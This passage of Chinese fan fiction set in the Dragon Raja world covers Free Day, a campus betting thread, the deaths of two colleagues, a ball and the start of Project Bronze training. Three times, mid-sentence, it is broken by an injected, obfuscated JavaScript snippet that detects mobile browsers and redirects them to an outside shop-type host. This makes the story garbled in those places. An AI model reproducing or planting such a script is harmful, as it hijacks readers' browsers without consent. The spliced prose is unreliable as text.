夏明晞立刻调转枪口,试图观察情况,但距离和障碍物阻挡了视线。她只能从越来越混乱的通讯片段里拼凑出大概:有一个身份不明、行动轨迹诡异的第三方单位,以不可思议的运气或者……难以理解的方式,先是绕过了重重警戒,用弗里嘉子弹“击毙”了学生会会长恺撒;紧接着,又在极短的时间内,出现在另一处战场,面对被誉为超A级、拥有永不熄灭黄金瞳、气场极具压迫力的楚子航,这个第三方竟然没有丝毫畏惧或动摇的迹象,再次冷静地开枪,同样“击毙”了楚子航。 两位会长,学生中最顶尖的战力,象征着两大社团旗帜的人物,在同一天、同一场对抗中,先后被同一个人以如此戏剧化的方式淘汰出局。 整个“战场”瞬间陷入了一片诡异的寂静,紧接着是更大的哗然和议论。胜负似乎已经失去了意义,所有人的注意力都集中在了那个突然冒出来、完成了几乎不可能任务的神秘人身上。 很快,消息通过各种渠道传开。神秘人是刚刚入学没几天、看起来平平无奇、甚至有些衰的新生,路明非。 夏明晞在听到这个名字时,她想起在上海酒店里,那个低着头、眼睛红红、因为父母消息和可能无望的暗恋而偷偷哭泣的男孩;想起在飞机上,那个望着窗外云海、眼神空茫迷茫的少年。怎么也无法将那些影像,和此刻在通讯里被描绘成“运气爆棚到诡异”、“面对楚子航黄金瞳面不改色”、“一击必杀”的“自由一日最大赢家”联系起来。 这太荒谬了。 自由一日在一片混乱、惊愕和议论纷纷中草草收场。没有明确的胜利者,或者说,唯一的胜利者是那个几乎颠覆了所有人认知的路明非。学生会和狮心会都颜面受损,但碍于规则,也只能接受这个结果。恺撒和楚子航被弗里嘉子弹麻醉后很快苏醒,两人的脸色都很难看,尤其是骄傲如恺撒。 后续的清理和总结自有相关人员负责。夏明晞交还了装备,洗去脸上的油彩,换回常服。她没有立刻回宿舍,而是去了图书馆,找了个安静的角落坐下。心里乱糟糟的,需要一点独处的时间来消化今天这离奇的一切。 她打开笔记本电脑,连接上学院内网。不出所料,校园论坛已经炸开了锅。几乎所有热门帖子都在讨论今天的自由一日,而其中百分之九十,都在讨论路明非。 标题五花八门:“惊爆!S级新生路明非单杀双王,是实力还是逆天运气?”、“深度分析路明非行动路线,疑点重重!”、“楚子航黄金瞳失效?路明非究竟是何方神圣?”、“恺撒会长赛后表情包汇总(慎入)”。 夏明晞随手点开几个帖子看了看,里面充满了各种猜测、惊叹、质疑,甚至不乏一些带着酸味或看热闹不嫌事大的言论。路明非这个名字,以一种近乎荒诞的方式,在入学短短几天内,就成了卡塞尔学院无人不知的话题中心。 她关掉那些喧闹的帖子,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088457|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往下翻。一个标题相对冷静些的帖子吸引了她的注意:“理性讨论:路明非能否通过即将到来的3E考试?(附赔率)” 3E考试,新生入学核心测试,评估血统纯度、言灵潜质等,决定最终评级和培养方向。对于路明非这个刚刚制造了巨大新闻的S级来说,能否通过这个考试,无疑是下一个关注焦点。 楼主显然是某个好事者或者消息灵通人士,他在主楼写道:“据不可靠小道消息,路明非同学在初步的言灵共鸣测试中,似乎……没有表现出任何明显反应?此消息真实性有待考证,但结合其至今未展现任何特殊能力,自由一日纯属运气?以及其……呃,独特的气质,本人开设此盘口,欢迎下注。” 下面果然附了一个简单的投票和赔率设置。选项很简单:通过,不通过。 夏明晞扫了一眼当前的投票情况。选择不通过的人数远远多于选择通过的,赔率也相应地一边倒。 显然,大多数学生,即便震惊于路明非在自由一日的壮举,内心深处依然对这个看起来过于普通、甚至有些畏缩的新生能否通过严苛的3E考试持怀疑态度。 毕竟,自由一日可以靠运气,3E考试却是实打实的血统检测。 夏明晞盯着那个投票选项,手指在触摸板上无意识地滑动。 没有对皇帝产生反应?这确实很奇怪。皇帝是测试混血种对龙文基础共鸣的常用言灵,绝大多数混血种,哪怕血统等级不高,也会产生或强或弱的灵视或感应。完全没有反应……要么是血统特殊到了极点,要么……就是真的没有共鸣? 这个人身上,充满了矛盾。 鬼使神差地,夏明晞移动光标,点在了“通过”的选项上,然后敲击回车,确认投票。 投票成功。她的论坛ID是实名制的夏明晞,这个选择立刻显示在了投票结果列表中,在一大片不通过的匿名或实名ID中,显得有些醒目。 她正准备关掉网页,目光无意间扫过最新的投票记录。又有一个实名ID投了通过。 ID是:村雨。 夏明晞认得这个名字,或者说,认得这把刀的名字——那是楚子航的佩刀,也是他在论坛上极少使用的ID。楚子航也压了“通过”。这个发现让夏明晞微微挑了下眉。楚子航是亲自和路明非交过手的人,他这么选择,是基于对对手某种特质的判断,还是仅仅出于理性分析? 几乎就在村雨的投票记录出现后几秒,另一个醒目的实名ID也出现了,投的是“不通过”。 ID:狄克推多。 恺撒·加图索。这位骄傲的学生会会长,显然对于被一个新生“击毙”一事耿耿于怀,或者,他单纯是想和楚子航较劲,他是不可能和楚子航站一边的。 夏明晞看着这三个并排出现的、在学院里都颇具分量的实名投票记录,心里那种荒谬感和对路明非这个人的好奇心,反而更重了。 关掉论坛页面,她靠在图书馆舒适但冰冷的椅背上,望向窗外。夕阳正在西沉,给卡塞尔学院古老的尖顶和枫林染上最后一抹绚烂的金红。 路明非……你到底是什么样的人?你的S级,究竟意味着什么? 而她,夏明晞,又为什么会下意识地,赌你能通过呢? 是因为在上海酒店里那一点微不足道的同情?是因为同为被迫选择者那隐约的共鸣?还是因为……在他那看似衰弱的表象下,她似乎也窥见了一丝连自己都无法理解的、深不见底的东西? 她不知道答案。 窗外,暮色渐浓,学院各处的灯火次第亮起,将这座隐藏在正常世界之下的古老学府,映照得神秘而宁静。 17. 舞会 路明非的3E考试结果出来了,不出意外地,在学院内部又引起了一阵不大不小的波澜,出乎大部分人意料的,他居然通过了。 尽管考试的具体细节和评分没有被公开,但“S级新生路明非通过3E考试”这个消息本身,就足以让之前那些在论坛上押注不通过、甚至私下里各种揣测质疑的人闭上了嘴,或者转而开始寻找新的、更合理的解释。毕竟,3E考试是卡塞尔学院衡量混血种血统与潜力的核心标准,通过与否,某种程度上代表了学院官方的正式认定。 夏明晞是在一堂枯燥的炼金术史课后,被那个总是神出鬼没、满脸写着“我有八卦”的芬格尔堵在走廊拐角处的。 “嘿!夏师妹!”芬格尔顶着一头乱糟糟的金发,身上那件不知道穿了多久的格子衬衫皱巴巴的,脸上却挂着灿烂到有些夸张的笑。 他鬼鬼祟祟地左右张望了一下,然后从怀里掏出一个不算厚、但质感颇佳的信封,不由分说地塞到夏明晞手里,“喏,你的那份!点数我都帮你兑换成现金了,方便!” 夏明晞愣了一下,低头看着手里那个有些重量的信封,才反应过来这大概是她之前在论坛上押注路明非通过赢来的筹码。芬格尔这家伙,除了是新闻部的头子,似乎也经常参与甚至主持这种校园地下盘口。 “谢了。”夏明晞没什么表情地把信封塞进随身背包的侧袋里,声音平淡。 “不数数?”芬格尔挤眉弄眼,“这次押通过的可不多,赔率不错,你赚了不少呢!不愧是敢于实名制下注的猛士!眼光毒辣啊师妹!” 夏明晞扯了扯嘴角,算是回应了他的调侃,但实在提不起什么兴致去数钱,也没心思去细究自己当初那个近乎直觉的选择到底算不算“眼光毒辣”。她此刻的心情,像被浸在冰冷的海水里,透不过气来。 就在今天早上,她收到了执行部通过加密渠道发来的正式通告。通告措辞简洁、冰冷、客观,不带任何感情色彩,只是陈述了一个事实:执行部专员叶胜、酒德亚纪,在近期执行一项位于中国三峡地区的探索任务中,遭遇突发性高危事件,确认殉职。 叶胜。酒德亚纪。 这两个名字,对夏明晞而言,并非仅仅存在于档案或传闻中的符号。他们是一起在雨林废弃研究所面对过死侍的战友,是曾经在任务报告里给予她肯定评价的前辈,是会在聚餐时被诺诺调侃“你们俩什么时候结婚啊”、然后一个无奈摇头、一个微微脸红却并不反驳的活生生的人。 她还记得叶胜检查她第一次引动言灵留下的痕迹时,那严肃中带着一丝赞许的眼神;记得酒德亚纪拍着她的肩膀,笑着说“表现不错,很冷静”;记得在上海酒店里,他们沉稳专业地主持面试,默契地配合着教授;也记得更早之前,在芝加哥车站的CC1000次列车上,他们安静地坐在前排,给予初来乍到的她和苏茜一种无声的安心感。 可现在,通告上说,他们死了。 殉职。死亡。 这是夏明晞第一次,如此直接、如此具体地,面对这个词语落在她认识的人身上。不是遥远新闻里的陌生名字,不是历史档案里模糊的记录,而是曾经并肩作战、说过话、有过交集、鲜活存在过的人。 她感到一股冰冷的、钝痛的空茫感,从四肢百骸蔓延开来。原来,这就是母亲曾经说过的,“这个世界的规则,有战斗,就有牺牲”。原来,父亲当年,大概也是以类似的方式,消失在某个不为人知的任务里,只留下一纸冰冷的“推定牺牲”。 她不知道自己是怎么上完那堂炼金术史课的,教授的声音仿佛隔着一层毛玻璃,模糊不清。 回到宿舍,诺诺居然破天荒地没有跑出去疯玩,而是安静地坐在她的电脑前,手指在键盘上敲击着,屏幕的光映在她脸上,表情有些难以捉摸。 夏明晞把背包扔在床上,自己也无力地坐了下来,目光没有焦点地望着窗外灰蒙蒙的天空。深秋的卡塞尔,连天空都像是蒙着一层哀伤的滤镜。 过了好一会儿,她才像是从那种麻木的状态里稍微挣脱出来一点,声音干涩地开口,问那个对着电脑屏幕的背影:“你在干嘛呢?” 诺诺敲击键盘的手指顿了顿,没有回头,只是用一种很平常、甚至带着点轻快的语调回答:“我?我在邀请路明非参加明天晚上安珀馆的舞会呀。” 学生会的舞会,是学生会一年一度的重要社交活动,由会长恺撒亲自操办,规格很高,算是学院里的一件盛事。以前都是在诺顿馆举行,但是由于这次自由一日的获胜者是路明非,所以学生会暂时失去了诺顿馆的使用权。 夏明晞的思绪被拉回现实,她有些意外地看向诺诺:“邀请他?恺撒想把他拉拢去学生会?” 诺诺这才转过身,靠在椅背上,双手一摊,脸上露出那种“你懂的”表情:“是啊是啊。自由一日虽然……嗯,有点意外,但结果摆在那里。路明非现在可是炙手可热的‘S级’,又是新生,潜力无限。恺撒当然想把他争取过来,壮大我们学生会的声势嘛。舞会就是个很好的接触机会,氛围轻松,又能展现我们学生会的实力和魅力。” 她说“魅力”的时候,冲夏明晞眨了眨眼。 夏明晞看着诺诺。诺诺的表情很自然,理由听起来也很充分。但夏明晞不是傻子,她早就看出来了,那个叫路明非的衰小孩,每次看到诺诺时,眼神里都会闪过一种小心翼翼的、混合着崇拜、依赖和某种更深沉情感的光芒。那光芒很微弱,但确实存在。就像黑暗中扑向唯一光源的飞蛾。 路明非对诺诺有意思,这几乎是可以确定的事情。 但是,可能吗? 诺诺是谁?张扬如火焰的红发魔女,加图索家族继承人的正牌女友,卡塞尔学院的风云人物,无论外貌、性格还是能力,都耀眼得令人无法忽视。而路明非呢?一个刚刚从普通高中被“拐”来的、看起来怯懦又有些倒霉的男生,除了那个尚未完全展现的“S级”光环,他有什么?他拿什么去和恺撒·加图索那样的人竞争? 可能性微乎其微。在夏明晞看来,大概只有百分之零点一,甚至更小。那是一种几乎可以忽略不计的、只存在于少年人一厢情愿幻想中的微小概率。 她知道诺诺对路明非大概没有那种意思,更多是觉得有趣、或者带着某种“饲养员”般的戏谑心态。她也知道诺诺和恺撒的感情虽然张扬甚至疯狂,但彼此之间有着外人难以理解的深刻联结。 那么,要不要提醒诺诺呢?告诉她,你邀请的那个男孩,可能对你抱着不该有的幻想? 夏明晞张了张嘴,看着诺诺那双明亮而坦荡的眼睛,最终又把话咽了回去。 算了。 说了又能怎样呢?诺诺大概率只会一笑置之,觉得“那小子还挺有意思”。或者,她其实早就察觉了,只是不在意,或者觉得无伤大雅。提醒了,反而可能让事情变得尴尬,让那个本来就显得格格不入的路明非更加难堪。 而且……她现在自己心里乱糟糟的,被叶胜和酒德亚纪的死讯压得喘不过气,实在没有多余的精力去操心别人那几乎注定无望的单恋。 “随你吧。”夏明晞最终只是淡淡地说了一句,重新把目光投向窗外,不再说话。 …… 安珀馆的舞会如期而至。 这座建筑被学生会精心装饰过,水晶吊灯折射出璀璨却不刺眼的光芒,空气中流淌着优雅的古典乐,混合着香槟、点心以及各种高级香水的淡淡气息。穿着各式晚礼服和笔挺西装的年轻男女们穿梭其中,低声谈笑,衣香鬓影,宛如一场上流社会的华丽盛宴。 夏明晞穿着诺诺塞给她的那条白色礼服裙。裙子款式简洁,剪裁合体,衬得她肤色更白,长发在脑后松松挽起,露出纤细的脖颈。她脸上化了淡妆,是诺诺强行给她弄的,但眼神里的疲惫和疏离却难以完全掩盖。 她端着一杯红酒,独自一人坐在大厅角落一个不起眼的沙发上。面前的小圆桌上放着几碟精致的点心,但她碰都没碰。 舞池中央,诺诺正和恺撒跳着舞,红色礼服像燃烧的火焰,与恺撒那身纯白西装相映成趣,两人配合默契,旋转时带起的气场几乎吸引了全场的目光。 夏明晞觉得这个热闹非凡的舞会,和自己隔着一层厚厚的玻璃。音乐,灯光,笑声,都显得那么遥远而不真实。她来这里,纯粹是因为诺诺的软磨硬泡,加上她自己也想找个地方,暂时逃离宿舍里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“美少女?”夏明晞眨了眨有些迷蒙的眼睛,她一直缩在角落里喝酒,确实没注意到路明非那边的动静。 “嗯,好像是叫……零?一个俄罗斯来的新生,长得那叫一个漂亮,跟个人偶似的,就是没什么表情。”芬格尔解释道,语气里不无羡慕,“路明非那小子,也不知道走了什么运……” 零?夏明晞对这个名字有点印象。那个入学时就因为惊人的外貌和同样惊人的沉默寡言而引起不少关注的新生,据说是来自俄罗斯的混血种,血统似乎也很特别。路明非居然会被她邀请? 这个念头在夏明晞被酒精浸泡的大脑里转了一圈,没留下什么痕迹。她现在只想这支舞快点结束。 好不容易一曲终了,夏明晞几乎是迫不及待地从芬格尔手里抽回自己的手,含糊地说了声“谢谢”,然后趁着他还没反应过来,迅速转身,挤开人群,朝着大厅侧面的露台方向溜去。 夜晚的冷风,像一盆冰水,猛地浇在她脸上、身上。激灵灵打了个寒颤,混沌的头脑瞬间清醒了不少。露台上没什么人,只有远处城市的灯火在夜色中明灭。 她扶着冰冷的栏杆,深深吸了几口冷冽的空气,感觉胃里翻腾的酒意和心头那股沉郁的憋闷都被压下去了一些。又站了一会儿,直到手脚都有些冻得发麻,她才转身,没有回热闹的大厅,而是直接从侧面的楼梯下楼,径直走回了宿舍。 空荡荡的宿舍里一片漆黑寂静。她摸索着打开灯,刺眼的光芒让她眯了眯眼。她三两下扯掉身上那件碍事的白色礼服裙,胡乱扔在地上,仿佛那上面还沾着舞会的喧嚣和虚伪的热闹。然后走进浴室,打开热水。 温热的水流冲刷过身体,洗去脂粉和酒气,也试图冲走心头那层厚重的阴霾。但叶胜和酒德亚纪的脸,还有那张冰冷的通告,却像是刻在了脑海里,无论如何也冲不散。 她擦干身体,换上柔软的睡衣,一头栽倒在床上。柔软的枕头带着熟悉的、阳光晒过的味道,让她紧绷的神经稍微放松了一些。 深重的疲倦,像潮水般涌来,淹没了所有的思绪。 她闭上眼睛,几乎是立刻,就坠入了无梦的、沉沉的黑暗之中。 18. 青铜计划(一) “你刚刚……说什么?” 夏明晞揉着还有些发沉的额角,从床上坐起来。窗外天光大亮,阳光刺得她眯了眯眼。 昨晚沉沉睡去后,似乎没有受到宿醉头痛的困扰,这大概是混血种血统带来的为数不多的好处之一,新陈代谢快,酒精分解得也快,只是脑子还有些晕晕乎乎的。 诺诺已经起床了,正坐在书桌前,对着镜子梳理她那头标志性的红发,嘴里叼着一根发绳,含混不清地说着什么。夏明晞只捕捉到几个零碎的词:“……入侵……兜风……烟花……龙……” 她眨了眨眼,试图把这些词串成有意义的句子。脑子像是生了锈的齿轮,缓慢地转动了大概十秒钟,才勉强理解诺诺刚才那番话的大概意思。 昨晚,在她醉醺醺地溜回宿舍倒头大睡之后,卡塞尔学院似乎并不平静。有人入侵?然后诺诺就和路明非……出去兜风了?还看到了恺撒送的生日礼物烟花?这都什么跟什么?这几件事之间到底有什么逻辑联系?她完全理不清头绪。更让她难以置信的是后半句。路明非击毙了一只龙? 这简直像是听到了天方夜谭。 “哦,”夏明晞甩了甩头,试图让自己更清醒一点,目光落在诺诺神采奕奕的侧脸上,忽然抓住了另一个重点,“你刚刚说,昨天是你的生日?为什么不早点和我说?” 她的声音还带着刚醒时的沙哑,语气里有点埋怨,也有一丝愧疚。作为室友,她居然连诺诺的生日都不知道。 “没什么意义啊,”诺诺对着镜子把头发扎成一个高高的马尾,动作利落,语气随意,“反正我不过生日,从来都不过。” 夏明晞看着她满不在乎的样子,没再说什么,只是掀开被子下床,走到自己放背包的柜子前,拉开拉链,在里面翻找起来。诺诺从镜子里瞥见她动作,有些好奇地歪了歪头。 很快,夏明晞从包里摸出一个小巧精致的纸盒,转身走回来,递到诺诺面前:“喏,送你。” 诺诺愣了一下,放下梳子,接过盒子,打开。里面是一支包装精美的口红,某品牌新出的热门色号。她记得自己前几天逛街时,确实随口提过一句“这个颜色好像还不错”,但很快就忘了。 她抬起头,有些惊讶地看着夏明晞:“送我的?” “嗯,送你。”夏明晞点点头,脸上没什么特别的表情,仿佛只是做了一件很平常的事,“虽然错过了正日子,但补上。生日,总该有点仪式感,哪怕是自己给的。” 诺诺盯着手里的口红看了几秒,然后嘴角慢慢向上弯起,露出一个真心实意的、带着点狡黠的笑容:“谢啦,明晞!没想到你这么细心!” 她拧开口红盖子,对着镜子,仔细地涂在嘴唇上。 那是一种介于豆沙和玫瑰之间的颜色,很衬她的肤色和红发,让她原本就明艳的五官更添了几分精致和生气。 夏明晞看着她试色,自己也走到洗手间去洗漱。冰凉的水扑在脸上,昨晚残存的最后一点混沌感终于消散。她一边擦脸,一边随口问道:“所以,路明非加入学生会了?” 她记得诺诺说过,恺撒想拉拢他。 “是啊,”诺诺的声音从外面传来,带着点漫不经心,“而且不止呢。教授们把他编入‘青铜计划’了。哦对了,”她顿了顿,补充道,“计划名单里也有你。” 夏明晞擦脸的动作猛地一顿,抬起头,看向镜子里的自己,眼神里闪过一丝错愕。“青铜计划?”她重复了一遍,这个词她听说过,是学院针对已苏醒或可能苏醒的高危龙类制定的最高级别行动预案之一,参与人员都是精英中的精英,执行的任务也往往极度危险。路明非才入学多久?居然就被编入了这种级别的计划? “是啊,”诺诺倚在洗手间门框上,抱着手臂,“听说他干掉的那只,就是青铜与火之王双生子里的其中一个,康斯坦丁。虽然过程好像……嗯,有点戏剧性,但结果是确凿的。所以教授们大概觉得,他应该参与到后续相关的行动里吧。” 夏明晞消化着这个惊人的信息。路明非……真的干掉了一只龙王?即使有再多的运气成分,即使过程再离奇,这个结果本身就足以颠覆很多认知。她想起自己第一次面对死侍时的惊险,还有叶胜、酒德亚纪的牺牲……龙类,哪怕是幼生体或次代种,都绝非易与之辈。路明非身上,到底隐藏着什么? “计划里除了他,还有谁?”夏明晞走出洗手间,问道。 “还有那个一年级新生,零。就是昨晚邀请路明非跳舞的那个俄罗斯女孩。”诺诺说,“你们两个的潜水成绩是这一届里最拔尖的,所以被选中了。” 夏明晞“哦”了一声,她的水下适应性确实很好,这或许也是遗传自父亲的某些特质。零……想到那个沉默寡言、外貌惊人的女孩,看来也不简单。 “你没入选吗?”夏明晞有些意外,以诺诺的性格和能力,应该不会错过这种“大场面”。 诺诺耸了耸肩,做了个无奈的表情:“因为我的潜水成绩不如你和零啦!真不知道你们两个是吃什么长大的,那么会潜水,在水下跟鱼似的。” 语气里倒没有多少嫉妒,更多是调侃。 她又对着镜子抿了抿嘴唇,让口红颜色更均匀,然后转向夏明晞,眼睛亮晶晶地问:“怎么样?这颜色?” 夏明晞仔细看了看,点点头:“挺好看的,很适合你。应该能把路明非那小子迷倒。” 后半句她是带着点玩笑的语气说的。 诺诺脸上的笑容僵了一下,随即瞪了她一眼:“你在乱说什么呢!” 但眼神里并没有真正的怒气,反而闪过一丝复杂难辨的情绪。 “我可没乱说,”夏明晞走到自己床边坐下,拿起手机,一边解锁一边慢悠悠地说,“现在全校,还有谁不知道路明非在想什么。” 她没有明说“路明非对你有意思”,而是用了更隐晦的说法。有些事,点到为止即可,说破了反而尴尬。 诺诺沉默了两秒钟,然后转过身,背对着夏明晞,语气恢复了平常那种带着点嚣张和随意的调调:“我当然知道啊,路明非是我小弟嘛。” “小弟?”夏明晞挑眉,这倒是个新鲜的定位。 “嗯,我罩着的,昨天刚认下的。”诺诺说着,走到衣柜前开始挑选外出的衣服,“先不说啦,我去找恺撒了。他今天要正式跟路明非说青铜计划的事呢,我得去鼓励鼓励他,别到时候一听任务内容,吓得腿都软了。” 她选了一件黑色的皮夹克套在T恤外面,又抓了个小包,对着镜子最后整理了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088459|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下头发和口红,然后风风火火地拉开门走了出去。 宿舍里重新安静下来,只剩下夏明晞一个人。 她拿着手机,却没有立刻看什么,只是有些出神地望着诺诺离开后轻轻晃动的门板。小弟?罩着?诺诺用这种看似随意甚至带着点江湖气的词,划清了她和路明非之间的界限,也或许,是她给自己找的一个心安理得的借口,来处理那份她并非毫无察觉的、不合时宜的好感。 夏明晞摇了摇头,不再去想这些复杂的情感纠葛。她点开手机,连接上学院内网,习惯性地浏览起论坛。 果然,首页飘着好几个热帖,都在讨论昨晚的事情。有人绘声绘色地描述着“不明身份者入侵校园”的惊险,但更多的帖子,焦点都集中在另一件事上。 “【有图有真相】安珀馆夜空绽放!恺撒会长为诺诺庆生燃放盛大烟花!” “论情圣的自我修养——解析恺撒式浪漫的杀伤力!” 点进去,各种角度的照片和视频。漆黑的夜空中,绚烂的烟花依次炸开,组成瑰丽而短暂的图案,将卡塞尔学院古老的建筑轮廓映照得如同梦幻城堡。拍摄地点似乎是在学院后山附近,视角很好。发帖人无不感慨恺撒的大手笔和浪漫心思,评论里也是一片“羡慕嫉妒恨”和“恺撒还能再情圣一点吗”的调侃。 夏明晞一张张翻看着那些烟花照片。确实很美,很震撼,像是把星空摘下来,在夜空中挥霍一场短暂而华丽的梦。诺诺喜欢热闹和惊喜,这样的生日礼物,确实很对她的胃口。 但是…… 夏明晞的指尖在屏幕上轻轻滑动,目光停留在某张捕捉到烟花燃放地点附近模糊人影的照片上。放烟花需要提前布置,需要时机,需要……知道诺诺的生日,并且愿意为她花这样的心思。 恺撒当然知道诺诺的生日,也有能力做到这一切。逻辑上完全说得通。 可是,不知道为什么,夏明晞心里总萦绕着一丝若有若无的异样感。昨晚诺诺说起烟花时,语气里似乎并没有多少“收到男朋友盛大礼物”的那种甜蜜或炫耀,反而更像是在陈述一个……事实?一个让她觉得有趣或者意外的事实? 而且,时间点也有些微妙。入侵警报,诺诺和路明非正好在深夜上山兜风,然后恰好看到烟花……这一切,真的只是巧合吗? 一个荒谬的念头突然钻进夏明晞的脑海:这烟花……会不会根本不是恺撒送的? 这个想法让她自己都吓了一跳。不是恺撒,还能是谁?谁有这个能力,又会对诺诺有这份心思,做出这样张扬又浪漫的事? 她的目光不由自主地飘向窗外,仿佛能穿透墙壁,看到那个此刻大概正被恺撒叫去谈话、即将正式卷入“青铜计划”旋涡的、名叫路明非的男孩。 会是他吗? 那个看起来怯懦、衰样、却总在关键时刻爆发出惊人“运气”或……别的什么东西的S级? 夏明晞很快否定了这个想法。这太离谱了。路明非哪来的钱、渠道和胆量去做这种事?而且,他凭什么认为诺诺会喜欢?这不符合他小心翼翼、生怕行差踏错的性格。 她摇了摇头,把这个荒谬的猜测甩出脑海。 算了,谁知道呢。 19. 青铜计划(二) 针对“青铜计划”的两个月强化集训,在一片紧张而有序的氛围中拉开了帷幕。 参与计划的成员被重新编组,课程安排得密不透风,涵盖了水下作战理论、深潜技术、水下设备操作、团队配合演练、针对龙类的战术分析等等。强度之大,要求之严,远超平时的课程。 或许是为了平衡队伍实力,也或许是为了让唯一的S级路明非尽快跟上进度,夏明晞被指定与路明非组成固定的双人训练搭档,重点磨合水下协同与战术配合。 这着实让夏明晞感到有些……无奈。 经过最初几天的适应性训练,她算是彻底看明白了。路明非这家伙,在陆地上的体能和格斗还算勉强跟得上虽然动作笨拙,但胜在咬牙坚持,可一到水下,简直像是换了个人——不,像是换了个秤砣。 他的潜水技术,用一个词形容,就是“灾难”。下潜速度控制不稳,中性浮力调整得一塌糊涂,水下方向感时好时坏,遇到稍微复杂点的水流或障碍物就手忙脚乱,更别提在水下保持战术队形或者进行有效沟通了。 有好几次模拟演练,夏明晞不得不临时改变计划,甚至冒着暴露的风险去捞他,才避免了“出师未捷身先死”的尴尬局面。 夏明晞私下里忍不住想,要不是路明非头上顶着那个独一无二的“S级”光环,以及他那份语焉不详却似乎至关重要的潜在价值,以他目前展现出的水下能力,恐怕连青铜计划外围打杂的资格都够呛,更别提作为核心成员了。 但抱怨归抱怨,任务就是任务。为了确保两个月后那场真正的水下行动能顺利进行,或者说,至少不让自己的搭档拖后腿拖到死,夏明晞不得不拿出了十二分的耐心和专注。 除了晚上回宿舍休息,她几乎像个背后灵一样,时刻跟在路明非身边。从早上的体能晨练,到白天的理论课和实操课,再到晚上的加练和战术复盘,路明非走到哪儿,夏明晞就跟到哪儿。 她不怎么说话,只是用那双沉静的眼睛默默观察着,记录着,然后在路明非出错或遇到瓶颈时,用最简洁的语言指出问题,或者干脆直接上手演示。 这种无声的、持续的、带着审视意味的“陪伴”,让路明非倍感压力。他总觉得背后凉飕飕的,仿佛被一个沉默而严厉的女鬼盯上了,训练时更加小心翼翼。 这种诡异的绑定状态持续了大约一周。这天中午,在熙熙攘攘的学员餐厅,夏明晞端着餐盘,自然而然地坐在了路明非对面——这是她这些天的习惯,为了随时可以讨论上午训练的内容或者布置下午的加练计划。 路明非正埋头对付着盘子里一块煎得过老的牛排,动作有些笨拙,刀叉碰撞发出轻微的响声。感觉到对面有人坐下,他下意识地缩了缩脖子,把头埋得更低,努力减少自己的存在感。 夏明晞却没有像往常一样立刻开始谈论训练。她安静地吃了几口自己的午餐,然后用餐巾擦了擦嘴角,抬起眼,目光平静地落在路明非因为紧张而微微泛红的耳根上。 她开口了,声音不大,但在周围嘈杂的用餐环境中,清晰地传入了路明非的耳朵里。 “我说……”夏明晞的语气没什么起伏,像是在陈述一个客观事实,“你喜欢诺诺,对吧?” “啊、啊?!” 路明非像是被突然扎了一针,手猛地一抖,叉子上的半块牛排“吧嗒”一声掉回盘子里,汁水溅了几滴在桌布上。 他太过震惊,以至于不小心咬到了自己的舌头,疼得他倒吸一口凉气,整张脸都皱了起来,眼睛里瞬间蒙上了一层生理性的水雾。 他捂着嘴,惊魂未定地看着对面那位语出惊人的夏师姐,脑子里一片空白,完全不明白这位平时惜字如金、只谈训练的背后灵,怎么会突然一开口就抛出了这样一个让他手足无措、甚至是……心惊肉跳的话题。 “夏、夏师姐……你、你在胡说什么啊……”路明非的声音有些发飘,眼神躲闪着,不敢直视夏明晞那双仿佛能看透一切的眼睛,脸颊以肉眼可见的速度红了起来。 “如果你不想留下遗憾的话,”夏明晞没有理会他苍白的辩解,只是微微向前倾身,目光更加直接地锁定他慌乱的眼睛,语气平稳却带着一种不容置疑的力量,打断了他结结巴巴的话语,“尝试追一下,也不是不可以。” 路明非的心脏猛地一跳,还没来得及因为这句话生出半点奢望,就听到夏明晞紧接着补充道,语气依旧平淡无波: “虽然……在恺撒面前,你毫无胜算。” 这话像一盆冰水,精准地浇灭了路明非心头刚刚冒出的一丁点火星,让他瞬间透心凉。 喂喂……这位师姐,说话要不要这么直白,这么伤人啊……路明非在心里哀嚎。 他当然知道自己和恺撒·加图索之间隔着怎样难以逾越的鸿沟。人家是什么人?加图索家族的继承人,学生会会长,相貌、家世、能力、气场无一不是顶尖,是站在卡塞尔学院金字塔尖的人物。 而自己呢?一个连潜水都学不好的衰仔,一个莫名其妙被认定为S级、却连自己都搞不清楚状况的新生,一个在诺诺面前连话都说不利索的胆小鬼。 他知道自己一点胜算都没有,这个认知早已刻在了他的骨子里。但当这个残酷的事实,被夏明晞用如此冷静、如此不加修饰的方式当面说出来时,那种感觉,不仅仅是难堪,还有一种更深层次的、近乎绝望的不甘心。 就好像有人把他小心翼翼藏在心底最角落、连自己都不敢多看一眼的卑微幻想,粗暴地拽出来,放在阳光下,指着它说:看,多可笑,多不可能。 “……我知道啊。”路明非低下头,盯着盘子里那块已经凉掉的、溅上汁水的牛排,嘴角扯出一个比哭还难看的苦笑,声音低得几乎听不见,“就是因为知道才……” “那就更要试试了。”夏明晞再次打断他,声音不大,却带着一种奇异的穿透力,“万一呢?” 